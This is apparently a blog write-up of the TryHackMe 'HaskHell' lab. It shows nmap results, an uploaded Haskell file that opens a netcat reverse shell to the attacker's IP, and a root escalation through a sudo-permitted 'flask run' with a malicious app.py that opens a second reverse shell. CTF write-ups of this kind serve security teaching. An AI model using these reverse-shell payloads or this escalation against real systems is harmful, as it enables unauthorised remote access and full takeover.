Skip to main content

THM HaskHell writeup

ยท 2 min read
0xSH1V4M

Hello everyone,

Today we are going to solve haskhell machine from Tryhackme. we will learn how to get reverse shell with haskhell and how to escalate our privileges with flask.

Nmap resultsโ€‹

PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)
| 256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)
|_ 256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)
5001/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Homepage
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

--> I got this page on port 5001

--> After reading the content of website i found that this website is only accepting the haskell(.hs) file so i googled how to execute system commands in haskell and i found this code.

import System.Process

main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.10.10 4444 >/tmp/f"

--> But where we will upload this file so let's run the gobuster !

Gobuster resultsโ€‹

--> I found only one directory called /submit in which we can upload file so i uploaded my payload there and after clicking upload button i got the reverse shell !

Privescโ€‹

--> i found the ssh keys of prof user in his home dir.

after logging in as that user i found that we can run /usr/bin/flask run as root so i found one directory in same directory called __pycache__ in which i found 2 files in which one file was getting executed by root so i done strings on it and i found it's using /home/prof/app.py file but i didn't found any file so i made one !

and added this code :

import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.10.10 6969 >/tmp/f")

--> But after running the file i got one error and i found that we have to add that file as FLASK_APP environmental variable

export FLASK_APP=app.py

and after that i again ran sudo /usr/bin/flask run and got the root shell !